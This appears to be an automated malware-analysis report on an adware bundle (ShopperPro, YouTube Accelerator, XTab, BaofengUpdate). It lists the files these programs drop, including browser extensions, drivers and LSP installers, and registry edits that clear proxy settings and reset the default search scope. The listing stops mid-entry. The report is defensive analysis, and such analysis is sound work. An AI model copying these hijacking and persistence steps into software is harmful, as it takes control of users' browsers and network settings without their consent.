C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_biclient.exe_97ca2157dc4a9efbd1a44fda2aa67c3f797d_0c5c5215\Report.wer (246004 bytes)

The process WerFault.exe:2952 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_biclient.exe_97ca2157dc4a9efbd1a44fda2aa67c3f797d_0b85892c\Report.wer (239510 bytes)

The process WerFault.exe:4028 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_YTAHelper.exe_dc1cb0a6c5fbb2d495014aa7f606d9b96363555_0fb10176\Report.wer (194532 bytes)

The process ShopperPro.exe:2088 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\config.json (490 bytes)
C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
%Program Files% (x86)\ShopperPro\config.json (1260 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (291 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1502.0.0.0\config.json (770 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (490 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1502.0.0.0\database1_0_0.json (5 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1502.0.0.0\jsdrv.sys (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (3 bytes)
C:\ProgramData\ShopperPro\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
C:\ProgramData\ShopperPro\ShopperPro64.dll (3073 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1502.0.0.0\jsdrv.exe (22786 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)

The process ins_shopperpro.exe:1036 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaC8DC.tmp\D1958.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaC8DC.tmp\setup1.exe (142646 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaC8DC.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaC8DC.tmp\setup.exe (1581404 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskC8CB.tmp (152192 bytes)

The process regsvr32.exe:3904 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro.dll (425 bytes)

The process regsvr32.exe:3656 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro64.dll (503 bytes)

The process lspinst.exe:2784 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (295 bytes)
C:\ProgramData\TEMP:56E2E879 (375 bytes)

The process lspinst.exe:1160 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (253 bytes)
C:\ProgramData\TEMP:56E2E879 (375 bytes)

The process YTAHEL~1.EXE:3004 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
%Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.exe (32824 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspDC6B.tmp\jsdrv.exe (100669 bytes)
%Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspDC6B.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspDC6B.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspDC6B.tmp\nsProcess.dll (12 bytes)
C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\YTAHelper\SPRemove.exe (17848 bytes)
%Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspDC6A.tmp (133285 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspDC6B.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.dll (15168 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspDC6B.tmp\AccDownload.dll (11667 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper64.dll (17848 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)

The process DCytaiesmt_smtyc_setup.exe:3388 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_4568\ins_postInst.exe (2999 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_4568\ins_yta.exe (34498 bytes)

The process spbiu.exe:1216 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
C:\Windows\Temp\SPBI_cache_iexplore.exe.cache (1548 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (327 bytes)

The process spbiu.exe:992 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)

The process GLJB423.tmp:2280 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)

The process YouTubeAcceleratorService.exe:4060 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\Temp\SBCED6B.tmp (44 bytes)
C:\Windows\Temp\SBC25B1.tmp (486 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_4060.log (591 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_4060_YouTubeAcceleratorService.log (251043 bytes)
C:\Windows\Temp\SBCF4DD.tmp (51193 bytes)
%Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
C:\Windows\Temp\SBCE304.tmp (547 bytes)
C:\Windows\Temp\SBCF105.tmp (44 bytes)
C:\Windows\Temp\SBC26F5.tmp (547 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (6515 bytes)
C:\Windows\Temp\SBCE7A0.tmp (98 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
C:\ProgramData\TEMP:56E2E879 (232 bytes)
C:\Windows\Temp\SBC2236.tmp (486 bytes)
C:\Windows\Temp\SBCF01A.tmp (98 bytes)

The process YouTubeAcceleratorService.exe:3016 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
%Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (60 bytes)
%Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)

The process GLBB3D4.tmp:2756 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7581 bytes)
C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (115350 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14310 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (24 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (5381 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLMB81B.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
%Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
%Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJB423.tmp (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (4742 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelper.exe (44331 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLFBC33.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLCB402.tmp (3791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLKB626.tmp (1604 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLGBC22.tmp (90922 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
C:\Windows\SysWOW64\temp.000 (3624 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
%Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (9304 bytes)

The process XTab_v4.0.exe:4592 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\web\img\googlelogo.png (7 bytes)
%Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
%Program Files% (x86)\XTab\skin\btn.png (2 bytes)
%Program Files% (x86)\XTab\install.data (68 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
%Program Files% (x86)\XTab\HPNotify.exe (18027 bytes)
%Program Files% (x86)\XTab\conf (1606 bytes)
%Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\indexIE8.html (1816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsqB05B.tmp\System.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\arrow.png (259 bytes)
%Program Files% (x86)\XTab\web\ver.txt (5 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
%Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\weather\0.png (1 bytes)
%Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
%Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (1681 bytes)
%Program Files% (x86)\XTab\web\indexIE.html (1 bytes)
%Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\js\xagainit-ie8.js (3 bytes)
%Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
%Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\main.xml (4 bytes)
%Program Files% (x86)\XTab\web\img\default_add_logo_hover.png (1 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (33992 bytes)
%Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (22156 bytes)
%Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
%Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\ProtectService.exe (5471 bytes)
%Program Files% (x86)\XTab\web\js\js.js (18 bytes)
%Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1025.xpi (14 bytes)
%Program Files% (x86)\XTab\web\img\default_add_logo.png (1 bytes)
%Program Files% (x86)\XTab\skin\logo.png (5 bytes)
%Program Files% (x86)\XTab\web\js\xagainit2.0.js (3 bytes)
%Program Files% (x86)\XTab\web\js\xagainit.js (3 bytes)
%Program Files% (x86)\XTab\web\img\googlelogo2.png (1526 bytes)
%Program Files% (x86)\XTab\web\main.css (19 bytes)
%Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
%Program Files% (x86)\XTab\skin\close.png (3 bytes)
%Program Files% (x86)\XTab\web\data.html (20 bytes)
%Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
%Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
%Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
%Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
%Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
%Program Files% (x86)\XTab\skin\about.png (4 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\settings.png (5 bytes)
%Program Files% (x86)\XTab\web\img\default_logo.png (5 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
%Program Files% (x86)\XTab\web\js\common.js (2 bytes)
%Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
%Program Files% (x86)\XTab\SupTab.dll (6812 bytes)
%Program Files% (x86)\XTab\web\js\ie8.js (156 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (20 bytes)
%Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
%Program Files% (x86)\XTab\msvcp110.dll (17526 bytes)
%Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)

The process taskeng.exe:3608 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\ShopperPro\JSDriver\1502.0.0.0\jsdrv.exe (291 bytes)

The process ytaiesmt_smtyc_setup.exe:2788 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuA47A.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuA47A.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuA47A.tmp\D1989.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuA47A.tmp\E80511A32FD250F8 (34773 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuA47A.tmp\DCytaiesmt_smtyc_setup.exe (379403 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuA47A.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuA479.tmp (35538 bytes)

Registry activity

The process cmdshell.exe:4944 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "74 D8 59 E0 0A 48 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 55 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "BB 75 5F E4 0A 48 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "BB 75 5F E4 0A 48 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process BaofengUpdate.exe:1940 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process BaofengUpdate.exe:2312 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Mozilla\Extends]
"AppID" = "[email protected]"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
